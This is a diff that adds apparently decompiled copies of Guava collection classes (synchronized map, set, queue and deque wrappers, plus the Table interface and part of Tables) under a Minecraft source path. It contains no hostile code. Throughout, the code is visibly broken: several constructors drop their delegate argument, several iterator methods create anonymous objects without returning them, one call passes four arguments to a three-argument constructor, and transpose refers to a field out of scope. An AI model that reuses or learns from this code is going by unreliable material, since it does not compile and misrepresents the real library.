+        return Synchronized.set(delegate().get(key), mutex);
+      }
+    }
+    
+    public Set<V> removeAll(Object key) { synchronized (mutex) {
+        return delegate().removeAll(key);
+      }
+    }
+    
+    public Set<V> replaceValues(K key, Iterable<? extends V> values) {
+      synchronized (mutex) {
+        return delegate().replaceValues(key, values);
+      }
+    }
+    
+    public Set<Map.Entry<K, V>> entries() { synchronized (mutex) {
+        if (entrySet == null) {
+          entrySet = Synchronized.set(delegate().entries(), mutex);
+        }
+        return entrySet;
+      }
+    }
+  }
+  
+
+  static <K, V> SortedSetMultimap<K, V> sortedSetMultimap(SortedSetMultimap<K, V> multimap, @Nullable Object mutex)
+  {
+    if ((multimap instanceof SynchronizedSortedSetMultimap)) {
+      return multimap;
+    }
+    return new SynchronizedSortedSetMultimap(multimap, mutex);
+  }
+  
+  private static class SynchronizedSortedSetMultimap<K, V> extends Synchronized.SynchronizedSetMultimap<K, V> implements SortedSetMultimap<K, V> {
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedSortedSetMultimap(SortedSetMultimap<K, V> delegate, @Nullable Object mutex) {
+      super(mutex);
+    }
+    
+    SortedSetMultimap<K, V> delegate() { return (SortedSetMultimap)super.delegate(); }
+    
+    public SortedSet<V> get(K key) {
+      synchronized (mutex) {
+        return Synchronized.sortedSet(delegate().get(key), mutex);
+      }
+    }
+    
+    public SortedSet<V> removeAll(Object key) { synchronized (mutex) {
+        return delegate().removeAll(key);
+      }
+    }
+    
+    public SortedSet<V> replaceValues(K key, Iterable<? extends V> values) {
+      synchronized (mutex) {
+        return delegate().replaceValues(key, values);
+      }
+    }
+    
+    public Comparator<? super V> valueComparator() {
+      synchronized (mutex) {
+        return delegate().valueComparator();
+      }
+    }
+  }
+  
+
+  private static <E> Collection<E> typePreservingCollection(Collection<E> collection, @Nullable Object mutex)
+  {
+    if ((collection instanceof SortedSet)) {
+      return sortedSet((SortedSet)collection, mutex);
+    }
+    if ((collection instanceof Set)) {
+      return set((Set)collection, mutex);
+    }
+    if ((collection instanceof List)) {
+      return list((List)collection, mutex);
+    }
+    return collection(collection, mutex);
+  }
+  
+  private static <E> Set<E> typePreservingSet(Set<E> set, @Nullable Object mutex)
+  {
+    if ((set instanceof SortedSet)) {
+      return sortedSet((SortedSet)set, mutex);
+    }
+    return set(set, mutex);
+  }
+  
+  private static class SynchronizedAsMapEntries<K, V> extends Synchronized.SynchronizedSet<Map.Entry<K, Collection<V>>>
+  {
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedAsMapEntries(Set<Map.Entry<K, Collection<V>>> delegate, @Nullable Object mutex) {
+      super(mutex);
+    }
+    
+    public Iterator<Map.Entry<K, Collection<V>>> iterator()
+    {
+      final Iterator<Map.Entry<K, Collection<V>>> iterator = super.iterator();
+      new ForwardingIterator() {
+        protected Iterator<Map.Entry<K, Collection<V>>> delegate() {
+          return iterator;
+        }
+        
+        public Map.Entry<K, Collection<V>> next() {
+          final Map.Entry<K, Collection<V>> entry = (Map.Entry)super.next();
+          new ForwardingMapEntry() {
+            protected Map.Entry<K, Collection<V>> delegate() {
+              return entry;
+            }
+            
+            public Collection<V> getValue() { return Synchronized.typePreservingCollection((Collection)entry.getValue(), mutex); }
+          };
+        }
+      };
+    }
+    
+
+
+    public Object[] toArray()
+    {
+      synchronized (mutex) {
+        return ObjectArrays.toArrayImpl(delegate());
+      }
+    }
+    
+    public <T> T[] toArray(T[] array) { synchronized (mutex) {
+        return ObjectArrays.toArrayImpl(delegate(), array);
+      }
+    }
+    
+    public boolean contains(Object o) { synchronized (mutex) {
+        return Maps.containsEntryImpl(delegate(), o);
+      }
+    }
+    
+    public boolean containsAll(Collection<?> c) { synchronized (mutex) {
+        return Collections2.containsAllImpl(delegate(), c);
+      }
+    }
+    
+    public boolean equals(Object o) { if (o == this) {
+        return true;
+      }
+      synchronized (mutex) {
+        return Sets.equalsImpl(delegate(), o);
+      }
+    }
+    
+    public boolean remove(Object o) { synchronized (mutex) {
+        return Maps.removeEntryImpl(delegate(), o);
+      }
+    }
+    
+    public boolean removeAll(Collection<?> c) { synchronized (mutex) {
+        return Iterators.removeAll(delegate().iterator(), c);
+      }
+    }
+    
+    public boolean retainAll(Collection<?> c) { synchronized (mutex) {
+        return Iterators.retainAll(delegate().iterator(), c);
+      }
+    }
+  }
+  
+
+  @VisibleForTesting
+  static <K, V> Map<K, V> map(Map<K, V> map, @Nullable Object mutex)
+  {
+    return new SynchronizedMap(map, mutex);
+  }
+  
+  private static class SynchronizedMap<K, V> extends Synchronized.SynchronizedObject implements Map<K, V> {
+    transient Set<K> keySet;
+    transient Collection<V> values;
+    transient Set<Map.Entry<K, V>> entrySet;
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedMap(Map<K, V> delegate, @Nullable Object mutex) {
+      super(mutex);
+    }
+    
+    Map<K, V> delegate()
+    {
+      return (Map)super.delegate();
+    }
+    
+    public void clear()
+    {
+      synchronized (mutex) {
+        delegate().clear();
+      }
+    }
+    
+    public boolean containsKey(Object key)
+    {
+      synchronized (mutex) {
+        return delegate().containsKey(key);
+      }
+    }
+    
+    public boolean containsValue(Object value)
+    {
+      synchronized (mutex) {
+        return delegate().containsValue(value);
+      }
+    }
+    
+    public Set<Map.Entry<K, V>> entrySet()
+    {
+      synchronized (mutex) {
+        if (entrySet == null) {
+          entrySet = Synchronized.set(delegate().entrySet(), mutex);
+        }
+        return entrySet;
+      }
+    }
+    
+    public V get(Object key)
+    {
+      synchronized (mutex) {
+        return delegate().get(key);
+      }
+    }
+    
+    public boolean isEmpty()
+    {
+      synchronized (mutex) {
+        return delegate().isEmpty();
+      }
+    }
+    
+    public Set<K> keySet()
+    {
+      synchronized (mutex) {
+        if (keySet == null) {
+          keySet = Synchronized.set(delegate().keySet(), mutex);
+        }
+        return keySet;
+      }
+    }
+    
+    public V put(K key, V value)
+    {
+      synchronized (mutex) {
+        return delegate().put(key, value);
+      }
+    }
+    
+    public void putAll(Map<? extends K, ? extends V> map)
+    {
+      synchronized (mutex) {
+        delegate().putAll(map);
+      }
+    }
+    
+    public V remove(Object key)
+    {
+      synchronized (mutex) {
+        return delegate().remove(key);
+      }
+    }
+    
+    public int size()
+    {
+      synchronized (mutex) {
+        return delegate().size();
+      }
+    }
+    
+    public Collection<V> values()
+    {
+      synchronized (mutex) {
+        if (values == null) {
+          values = Synchronized.collection(delegate().values(), mutex);
+        }
+        return values;
+      }
+    }
+    
+    public boolean equals(Object o) {
+      if (o == this) {
+        return true;
+      }
+      synchronized (mutex) {
+        return delegate().equals(o);
+      }
+    }
+    
+    public int hashCode() {
+      synchronized (mutex) {
+        return delegate().hashCode();
+      }
+    }
+  }
+  
+
+
+  static <K, V> SortedMap<K, V> sortedMap(SortedMap<K, V> sortedMap, @Nullable Object mutex)
+  {
+    return new SynchronizedSortedMap(sortedMap, mutex);
+  }
+  
+  static class SynchronizedSortedMap<K, V> extends Synchronized.SynchronizedMap<K, V> implements SortedMap<K, V> {
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedSortedMap(SortedMap<K, V> delegate, @Nullable Object mutex) {
+      super(mutex);
+    }
+    
+    SortedMap<K, V> delegate() {
+      return (SortedMap)super.delegate();
+    }
+    
+    public Comparator<? super K> comparator() {
+      synchronized (mutex) {
+        return delegate().comparator();
+      }
+    }
+    
+    public K firstKey() {
+      synchronized (mutex) {
+        return delegate().firstKey();
+      }
+    }
+    
+    public SortedMap<K, V> headMap(K toKey) {
+      synchronized (mutex) {
+        return Synchronized.sortedMap(delegate().headMap(toKey), mutex);
+      }
+    }
+    
+    public K lastKey() {
+      synchronized (mutex) {
+        return delegate().lastKey();
+      }
+    }
+    
+    public SortedMap<K, V> subMap(K fromKey, K toKey) {
+      synchronized (mutex) {
+        return Synchronized.sortedMap(delegate().subMap(fromKey, toKey), mutex);
+      }
+    }
+    
+    public SortedMap<K, V> tailMap(K fromKey) {
+      synchronized (mutex) {
+        return Synchronized.sortedMap(delegate().tailMap(fromKey), mutex);
+      }
+    }
+  }
+  
+
+  static <K, V> BiMap<K, V> biMap(BiMap<K, V> bimap, @Nullable Object mutex)
+  {
+    if (((bimap instanceof SynchronizedBiMap)) || ((bimap instanceof ImmutableBiMap)))
+    {
+      return bimap;
+    }
+    return new SynchronizedBiMap(bimap, mutex, null, null);
+  }
+  
+  @VisibleForTesting
+  static class SynchronizedBiMap<K, V> extends Synchronized.SynchronizedMap<K, V> implements BiMap<K, V>, Serializable {
+    private transient Set<V> valueSet;
+    private transient BiMap<V, K> inverse;
+    private static final long serialVersionUID = 0L;
+    
+    private SynchronizedBiMap(BiMap<K, V> delegate, @Nullable Object mutex, @Nullable BiMap<V, K> inverse) {
+      super(mutex);
+      this.inverse = inverse;
+    }
+    
+    BiMap<K, V> delegate() {
+      return (BiMap)super.delegate();
+    }
+    
+    public Set<V> values() {
+      synchronized (mutex) {
+        if (valueSet == null) {
+          valueSet = Synchronized.set(delegate().values(), mutex);
+        }
+        return valueSet;
+      }
+    }
+    
+    public V forcePut(K key, V value)
+    {
+      synchronized (mutex) {
+        return delegate().forcePut(key, value);
+      }
+    }
+    
+    public BiMap<V, K> inverse()
+    {
+      synchronized (mutex) {
+        if (inverse == null) {
+          inverse = new SynchronizedBiMap(delegate().inverse(), mutex, this);
+        }
+        
+        return inverse;
+      }
+    }
+  }
+  
+  private static class SynchronizedAsMap<K, V> extends Synchronized.SynchronizedMap<K, Collection<V>>
+  {
+    transient Set<Map.Entry<K, Collection<V>>> asMapEntrySet;
+    transient Collection<Collection<V>> asMapValues;
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedAsMap(Map<K, Collection<V>> delegate, @Nullable Object mutex)
+    {
+      super(mutex);
+    }
+    
+    public Collection<V> get(Object key) {
+      synchronized (mutex) {
+        Collection<V> collection = (Collection)super.get(key);
+        return collection == null ? null : Synchronized.typePreservingCollection(collection, mutex);
+      }
+    }
+    
+    public Set<Map.Entry<K, Collection<V>>> entrySet()
+    {
+      synchronized (mutex) {
+        if (asMapEntrySet == null) {
+          asMapEntrySet = new Synchronized.SynchronizedAsMapEntries(delegate().entrySet(), mutex);
+        }
+        
+        return asMapEntrySet;
+      }
+    }
+    
+    public Collection<Collection<V>> values() {
+      synchronized (mutex) {
+        if (asMapValues == null) {
+          asMapValues = new Synchronized.SynchronizedAsMapValues(delegate().values(), mutex);
+        }
+        
+        return asMapValues;
+      }
+    }
+    
+    public boolean containsValue(Object o)
+    {
+      return values().contains(o);
+    }
+  }
+  
+  private static class SynchronizedAsMapValues<V> extends Synchronized.SynchronizedCollection<Collection<V>>
+  {
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedAsMapValues(Collection<Collection<V>> delegate, @Nullable Object mutex)
+    {
+      super(mutex, null);
+    }
+    
+    public Iterator<Collection<V>> iterator()
+    {
+      final Iterator<Collection<V>> iterator = super.iterator();
+      new ForwardingIterator() {
+        protected Iterator<Collection<V>> delegate() {
+          return iterator;
+        }
+        
+        public Collection<V> next() { return Synchronized.typePreservingCollection((Collection)super.next(), mutex); }
+      };
+    }
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  @VisibleForTesting
+  static class SynchronizedNavigableSet<E> extends Synchronized.SynchronizedSortedSet<E> implements NavigableSet<E>
+  {
+    transient NavigableSet<E> descendingSet;
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedNavigableSet(NavigableSet<E> delegate, @Nullable Object mutex) {
+      super(mutex);
+    }
+    
+    NavigableSet<E> delegate() {
+      return (NavigableSet)super.delegate();
+    }
+    
+    public E ceiling(E e) {
+      synchronized (mutex) {
+        return delegate().ceiling(e);
+      }
+    }
+    
+    public Iterator<E> descendingIterator() {
+      return delegate().descendingIterator();
+    }
+    
+
+    public NavigableSet<E> descendingSet()
+    {
+      synchronized (mutex) {
+        if (descendingSet == null) {
+          NavigableSet<E> dS = Synchronized.navigableSet(delegate().descendingSet(), mutex);
+          
+          descendingSet = dS;
+          return dS;
+        }
+        return descendingSet;
+      }
+    }
+    
+    public E floor(E e) {
+      synchronized (mutex) {
+        return delegate().floor(e);
+      }
+    }
+    
+    public NavigableSet<E> headSet(E toElement, boolean inclusive) {
+      synchronized (mutex) {
+        return Synchronized.navigableSet(delegate().headSet(toElement, inclusive), mutex);
+      }
+    }
+    
+    public E higher(E e)
+    {
+      synchronized (mutex) {
+        return delegate().higher(e);
+      }
+    }
+    
+    public E lower(E e) {
+      synchronized (mutex) {
+        return delegate().lower(e);
+      }
+    }
+    
+    public E pollFirst() {
+      synchronized (mutex) {
+        return delegate().pollFirst();
+      }
+    }
+    
+    public E pollLast() {
+      synchronized (mutex) {
+        return delegate().pollLast();
+      }
+    }
+    
+    public NavigableSet<E> subSet(E fromElement, boolean fromInclusive, E toElement, boolean toInclusive)
+    {
+      synchronized (mutex) {
+        return Synchronized.navigableSet(delegate().subSet(fromElement, fromInclusive, toElement, toInclusive), mutex);
+      }
+    }
+    
+    public NavigableSet<E> tailSet(E fromElement, boolean inclusive)
+    {
+      synchronized (mutex) {
+        return Synchronized.navigableSet(delegate().tailSet(fromElement, inclusive), mutex);
+      }
+    }
+    
+    public SortedSet<E> headSet(E toElement)
+    {
+      return headSet(toElement, false);
+    }
+    
+    public SortedSet<E> subSet(E fromElement, E toElement) {
+      return subSet(fromElement, true, toElement, false);
+    }
+    
+    public SortedSet<E> tailSet(E fromElement) {
+      return tailSet(fromElement, true);
+    }
+  }
+  
+
+
+  @GwtIncompatible("NavigableSet")
+  static <E> NavigableSet<E> navigableSet(NavigableSet<E> navigableSet, @Nullable Object mutex)
+  {
+    return new SynchronizedNavigableSet(navigableSet, mutex);
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  static <E> NavigableSet<E> navigableSet(NavigableSet<E> navigableSet) {
+    return navigableSet(navigableSet, null);
+  }
+  
+  @GwtIncompatible("NavigableMap")
+  static <K, V> NavigableMap<K, V> navigableMap(NavigableMap<K, V> navigableMap)
+  {
+    return navigableMap(navigableMap, null);
+  }
+  
+
+
+  @GwtIncompatible("NavigableMap")
+  static <K, V> NavigableMap<K, V> navigableMap(NavigableMap<K, V> navigableMap, @Nullable Object mutex) { return new SynchronizedNavigableMap(navigableMap, mutex); }
+  
+  @GwtIncompatible("NavigableMap")
+  @VisibleForTesting
+  static class SynchronizedNavigableMap<K, V> extends Synchronized.SynchronizedSortedMap<K, V> implements NavigableMap<K, V> { transient NavigableSet<K> descendingKeySet;
+    transient NavigableMap<K, V> descendingMap;
+    transient NavigableSet<K> navigableKeySet;
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedNavigableMap(NavigableMap<K, V> delegate, @Nullable Object mutex) { super(mutex); }
+    
+    NavigableMap<K, V> delegate()
+    {
+      return (NavigableMap)super.delegate();
+    }
+    
+    public Map.Entry<K, V> ceilingEntry(K key) {
+      synchronized (mutex) {
+        return Synchronized.nullableSynchronizedEntry(delegate().ceilingEntry(key), mutex);
+      }
+    }
+    
+    public K ceilingKey(K key) {
+      synchronized (mutex) {
+        return delegate().ceilingKey(key);
+      }
+    }
+    
+
+    public NavigableSet<K> descendingKeySet()
+    {
+      synchronized (mutex) {
+        if (descendingKeySet == null) {
+          return this.descendingKeySet = Synchronized.navigableSet(delegate().descendingKeySet(), mutex);
+        }
+        
+        return descendingKeySet;
+      }
+    }
+    
+
+    public NavigableMap<K, V> descendingMap()
+    {
+      synchronized (mutex) {
+        if (descendingMap == null) {
+          return this.descendingMap = Synchronized.navigableMap(delegate().descendingMap(), mutex);
+        }
+        
+        return descendingMap;
+      }
+    }
+    
+    public Map.Entry<K, V> firstEntry() {
+      synchronized (mutex) {
+        return Synchronized.nullableSynchronizedEntry(delegate().firstEntry(), mutex);
+      }
+    }
+    
+    public Map.Entry<K, V> floorEntry(K key) {
+      synchronized (mutex) {
+        return Synchronized.nullableSynchronizedEntry(delegate().floorEntry(key), mutex);
+      }
+    }
+    
+    public K floorKey(K key) {
+      synchronized (mutex) {
+        return delegate().floorKey(key);
+      }
+    }
+    
+    public NavigableMap<K, V> headMap(K toKey, boolean inclusive) {
+      synchronized (mutex) {
+        return Synchronized.navigableMap(delegate().headMap(toKey, inclusive), mutex);
+      }
+    }
+    
+    public Map.Entry<K, V> higherEntry(K key)
+    {
+      synchronized (mutex) {
+        return Synchronized.nullableSynchronizedEntry(delegate().higherEntry(key), mutex);
+      }
+    }
+    
+    public K higherKey(K key) {
+      synchronized (mutex) {
+        return delegate().higherKey(key);
+      }
+    }
+    
+    public Map.Entry<K, V> lastEntry() {
+      synchronized (mutex) {
+        return Synchronized.nullableSynchronizedEntry(delegate().lastEntry(), mutex);
+      }
+    }
+    
+    public Map.Entry<K, V> lowerEntry(K key) {
+      synchronized (mutex) {
+        return Synchronized.nullableSynchronizedEntry(delegate().lowerEntry(key), mutex);
+      }
+    }
+    
+    public K lowerKey(K key) {
+      synchronized (mutex) {
+        return delegate().lowerKey(key);
+      }
+    }
+    
+    public Set<K> keySet() {
+      return navigableKeySet();
+    }
+    
+
+    public NavigableSet<K> navigableKeySet()
+    {
+      synchronized (mutex) {
+        if (navigableKeySet == null) {
+          return this.navigableKeySet = Synchronized.navigableSet(delegate().navigableKeySet(), mutex);
+        }
+        
+        return navigableKeySet;
+      }
+    }
+    
+    public Map.Entry<K, V> pollFirstEntry() {
+      synchronized (mutex) {
+        return Synchronized.nullableSynchronizedEntry(delegate().pollFirstEntry(), mutex);
+      }
+    }
+    
+    public Map.Entry<K, V> pollLastEntry() {
+      synchronized (mutex) {
+        return Synchronized.nullableSynchronizedEntry(delegate().pollLastEntry(), mutex);
+      }
+    }
+    
+    public NavigableMap<K, V> subMap(K fromKey, boolean fromInclusive, K toKey, boolean toInclusive)
+    {
+      synchronized (mutex) {
+        return Synchronized.navigableMap(delegate().subMap(fromKey, fromInclusive, toKey, toInclusive), mutex);
+      }
+    }
+    
+
+    public NavigableMap<K, V> tailMap(K fromKey, boolean inclusive)
+    {
+      synchronized (mutex) {
+        return Synchronized.navigableMap(delegate().tailMap(fromKey, inclusive), mutex);
+      }
+    }
+    
+    public SortedMap<K, V> headMap(K toKey)
+    {
+      return headMap(toKey, false);
+    }
+    
+    public SortedMap<K, V> subMap(K fromKey, K toKey) {
+      return subMap(fromKey, true, toKey, false);
+    }
+    
+    public SortedMap<K, V> tailMap(K fromKey) {
+      return tailMap(fromKey, true);
+    }
+  }
+  
+
+
+  @GwtIncompatible("works but is needed only for NavigableMap")
+  private static <K, V> Map.Entry<K, V> nullableSynchronizedEntry(@Nullable Map.Entry<K, V> entry, @Nullable Object mutex)
+  {
+    if (entry == null) {
+      return null;
+    }
+    return new SynchronizedEntry(entry, mutex);
+  }
+  
+  @GwtIncompatible("works but is needed only for NavigableMap")
+  private static class SynchronizedEntry<K, V> extends Synchronized.SynchronizedObject implements Map.Entry<K, V> {
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedEntry(Map.Entry<K, V> delegate, @Nullable Object mutex) {
+      super(mutex);
+    }
+    
+    Map.Entry<K, V> delegate()
+    {
+      return (Map.Entry)super.delegate();
+    }
+    
+    public boolean equals(Object obj) {
+      synchronized (mutex) {
+        return delegate().equals(obj);
+      }
+    }
+    
+    public int hashCode() {
+      synchronized (mutex) {
+        return delegate().hashCode();
+      }
+    }
+    
+    public K getKey() {
+      synchronized (mutex) {
+        return delegate().getKey();
+      }
+    }
+    
+    public V getValue() {
+      synchronized (mutex) {
+        return delegate().getValue();
+      }
+    }
+    
+    public V setValue(V value) {
+      synchronized (mutex) {
+        return delegate().setValue(value);
+      }
+    }
+  }
+  
+
+  static <E> Queue<E> queue(Queue<E> queue, @Nullable Object mutex)
+  {
+    return (queue instanceof SynchronizedQueue) ? queue : new SynchronizedQueue(queue, mutex);
+  }
+  
+  private static class SynchronizedQueue<E> extends Synchronized.SynchronizedCollection<E> implements Queue<E>
+  {
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedQueue(Queue<E> delegate, @Nullable Object mutex)
+    {
+      super(mutex, null);
+    }
+    
+    Queue<E> delegate() {
+      return (Queue)super.delegate();
+    }
+    
+    public E element()
+    {
+      synchronized (mutex) {
+        return delegate().element();
+      }
+    }
+    
+    public boolean offer(E e)
+    {
+      synchronized (mutex) {
+        return delegate().offer(e);
+      }
+    }
+    
+    public E peek()
+    {
+      synchronized (mutex) {
+        return delegate().peek();
+      }
+    }
+    
+    public E poll()
+    {
+      synchronized (mutex) {
+        return delegate().poll();
+      }
+    }
+    
+    public E remove()
+    {
+      synchronized (mutex) {
+        return delegate().remove();
+      }
+    }
+  }
+  
+
+  @GwtIncompatible("Deque")
+  static <E> Deque<E> deque(Deque<E> deque, @Nullable Object mutex)
+  {
+    return new SynchronizedDeque(deque, mutex);
+  }
+  
+  @GwtIncompatible("Deque")
+  private static final class SynchronizedDeque<E> extends Synchronized.SynchronizedQueue<E> implements Deque<E> {
+    private static final long serialVersionUID = 0L;
+    
+    SynchronizedDeque(Deque<E> delegate, @Nullable Object mutex) {
+      super(mutex);
+    }
+    
+    Deque<E> delegate() {
+      return (Deque)super.delegate();
+    }
+    
+    public void addFirst(E e)
+    {
+      synchronized (mutex) {
+        delegate().addFirst(e);
+      }
+    }
+    
+    public void addLast(E e)
+    {
+      synchronized (mutex) {
+        delegate().addLast(e);
+      }
+    }
+    
+    public boolean offerFirst(E e)
+    {
+      synchronized (mutex) {
+        return delegate().offerFirst(e);
+      }
+    }
+    
+    public boolean offerLast(E e)
+    {
+      synchronized (mutex) {
+        return delegate().offerLast(e);
+      }
+    }
+    
+    public E removeFirst()
+    {
+      synchronized (mutex) {
+        return delegate().removeFirst();
+      }
+    }
+    
+    public E removeLast()
+    {
+      synchronized (mutex) {
+        return delegate().removeLast();
+      }
+    }
+    
+    public E pollFirst()
+    {
+      synchronized (mutex) {
+        return delegate().pollFirst();
+      }
+    }
+    
+    public E pollLast()
+    {
+      synchronized (mutex) {
+        return delegate().pollLast();
+      }
+    }
+    
+    public E getFirst()
+    {
+      synchronized (mutex) {
+        return delegate().getFirst();
+      }
+    }
+    
+    public E getLast()
+    {
+      synchronized (mutex) {
+        return delegate().getLast();
+      }
+    }
+    
+    public E peekFirst()
+    {
+      synchronized (mutex) {
+        return delegate().peekFirst();
+      }
+    }
+    
+    public E peekLast()
+    {
+      synchronized (mutex) {
+        return delegate().peekLast();
+      }
+    }
+    
+    public boolean removeFirstOccurrence(Object o)
+    {
+      synchronized (mutex) {
+        return delegate().removeFirstOccurrence(o);
+      }
+    }
+    
+    public boolean removeLastOccurrence(Object o)
+    {
+      synchronized (mutex) {
+        return delegate().removeLastOccurrence(o);
+      }
+    }
+    
+    public void push(E e)
+    {
+      synchronized (mutex) {
+        delegate().push(e);
+      }
+    }
+    
+    public E pop()
+    {
+      synchronized (mutex) {
+        return delegate().pop();
+      }
+    }
+    
+    public Iterator<E> descendingIterator()
+    {
+      synchronized (mutex) {
+        return delegate().descendingIterator();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Table.java b/src/minecraft/com/google/common/collect/Table.java
new file mode 100644
index 0000000..5dfac89
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Table.java
@@ -0,0 +1,66 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Collection;
+import java.util.Map;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+@GwtCompatible
+public abstract interface Table<R, C, V>
+{
+  public abstract boolean contains(@Nullable Object paramObject1, @Nullable Object paramObject2);
+  
+  public abstract boolean containsRow(@Nullable Object paramObject);
+  
+  public abstract boolean containsColumn(@Nullable Object paramObject);
+  
+  public abstract boolean containsValue(@Nullable Object paramObject);
+  
+  public abstract V get(@Nullable Object paramObject1, @Nullable Object paramObject2);
+  
+  public abstract boolean isEmpty();
+  
+  public abstract int size();
+  
+  public abstract boolean equals(@Nullable Object paramObject);
+  
+  public abstract int hashCode();
+  
+  public abstract void clear();
+  
+  public abstract V put(R paramR, C paramC, V paramV);
+  
+  public abstract void putAll(Table<? extends R, ? extends C, ? extends V> paramTable);
+  
+  public abstract V remove(@Nullable Object paramObject1, @Nullable Object paramObject2);
+  
+  public abstract Map<C, V> row(R paramR);
+  
+  public abstract Map<R, V> column(C paramC);
+  
+  public abstract Set<Cell<R, C, V>> cellSet();
+  
+  public abstract Set<R> rowKeySet();
+  
+  public abstract Set<C> columnKeySet();
+  
+  public abstract Collection<V> values();
+  
+  public abstract Map<R, Map<C, V>> rowMap();
+  
+  public abstract Map<C, Map<R, V>> columnMap();
+  
+  public static abstract interface Cell<R, C, V>
+  {
+    public abstract R getRowKey();
+    
+    public abstract C getColumnKey();
+    
+    public abstract V getValue();
+    
+    public abstract boolean equals(@Nullable Object paramObject);
+    
+    public abstract int hashCode();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Tables.java b/src/minecraft/com/google/common/collect/Tables.java
new file mode 100644
index 0000000..cfef350
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Tables.java
@@ -0,0 +1,608 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Function;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Supplier;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import java.util.SortedMap;
+import java.util.SortedSet;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public final class Tables
+{
+  private Tables() {}
+  
+  public static <R, C, V> Table.Cell<R, C, V> immutableCell(@Nullable R rowKey, @Nullable C columnKey, @Nullable V value)
+  {
+    return new ImmutableCell(rowKey, columnKey, value);
+  }
+  
+  static final class ImmutableCell<R, C, V> extends Tables.AbstractCell<R, C, V> implements Serializable
+  {
+    private final R rowKey;
+    private final C columnKey;
+    private final V value;
+    private static final long serialVersionUID = 0L;
+    
+    ImmutableCell(@Nullable R rowKey, @Nullable C columnKey, @Nullable V value) {
+      this.rowKey = rowKey;
+      this.columnKey = columnKey;
+      this.value = value;
+    }
+    
+    public R getRowKey()
+    {
+      return rowKey;
+    }
+    
+    public C getColumnKey() {
+      return columnKey;
+    }
+    
+    public V getValue() {
+      return value;
+    }
+  }
+  
+  static abstract class AbstractCell<R, C, V>
+    implements Table.Cell<R, C, V>
+  {
+    AbstractCell() {}
+    
+    public boolean equals(Object obj)
+    {
+      if (obj == this) {
+        return true;
+      }
+      if ((obj instanceof Table.Cell)) {
+        Table.Cell<?, ?, ?> other = (Table.Cell)obj;
+        return (Objects.equal(getRowKey(), other.getRowKey())) && (Objects.equal(getColumnKey(), other.getColumnKey())) && (Objects.equal(getValue(), other.getValue()));
+      }
+      
+
+      return false;
+    }
+    
+    public int hashCode() {
+      return Objects.hashCode(new Object[] { getRowKey(), getColumnKey(), getValue() });
+    }
+    
+    public String toString() {
+      return "(" + getRowKey() + "," + getColumnKey() + ")=" + getValue();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <R, C, V> Table<C, R, V> transpose(Table<R, C, V> table)
+  {
+    return (table instanceof TransposeTable) ? original : new TransposeTable(table);
+  }
+  
+  private static class TransposeTable<C, R, V> extends AbstractTable<C, R, V>
+  {
+    final Table<R, C, V> original;
+    
+    TransposeTable(Table<R, C, V> original)
+    {
+      this.original = ((Table)Preconditions.checkNotNull(original));
+    }
+    
+    public void clear()
+    {
+      original.clear();
+    }
+    
+    public Map<C, V> column(R columnKey)
+    {
+      return original.row(columnKey);
+    }
+    
+    public Set<R> columnKeySet()
+    {
+      return original.rowKeySet();
+    }
+    
+    public Map<R, Map<C, V>> columnMap()
+    {
+      return original.rowMap();
+    }
+    
+
+    public boolean contains(@Nullable Object rowKey, @Nullable Object columnKey)
+    {
+      return original.contains(columnKey, rowKey);
+    }
+    
+    public boolean containsColumn(@Nullable Object columnKey)
+    {
+      return original.containsRow(columnKey);
+    }
+    
+    public boolean containsRow(@Nullable Object rowKey)
+    {
+      return original.containsColumn(rowKey);
+    }
+    
+    public boolean containsValue(@Nullable Object value)
+    {
+      return original.containsValue(value);
+    }
+    
+    public V get(@Nullable Object rowKey, @Nullable Object columnKey)
+    {
+      return original.get(columnKey, rowKey);
+    }
+    
+    public V put(C rowKey, R columnKey, V value)
+    {
+      return original.put(columnKey, rowKey, value);
+    }
+    
+    public void putAll(Table<? extends C, ? extends R, ? extends V> table)
+    {
+      original.putAll(Tables.transpose(table));
+    }
+    
+    public V remove(@Nullable Object rowKey, @Nullable Object columnKey)
+    {
+      return original.remove(columnKey, rowKey);
+    }
+    
+    public Map<R, V> row(C rowKey)
+    {
+      return original.column(rowKey);
+    }
+    
+    public Set<C> rowKeySet()
+    {
+      return original.columnKeySet();
+    }
+    
+    public Map<C, Map<R, V>> rowMap()
+    {
+      return original.columnMap();
+    }
+    
+    public int size()
+    {
+      return original.size();
+    }
+    
+    public Collection<V> values()
+    {
+      return original.values();
+    }
+    
+
+    private static final Function<Table.Cell<?, ?, ?>, Table.Cell<?, ?, ?>> TRANSPOSE_CELL = new Function()
+    {
+      public Table.Cell<?, ?, ?> apply(Table.Cell<?, ?, ?> cell)
+      {
+        return Tables.immutableCell(cell.getColumnKey(), cell.getRowKey(), cell.getValue());
+      }
+    };
+    
+
+
+    Iterator<Table.Cell<C, R, V>> cellIterator()
+    {
+      return Iterators.transform(original.cellSet().iterator(), TRANSPOSE_CELL);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
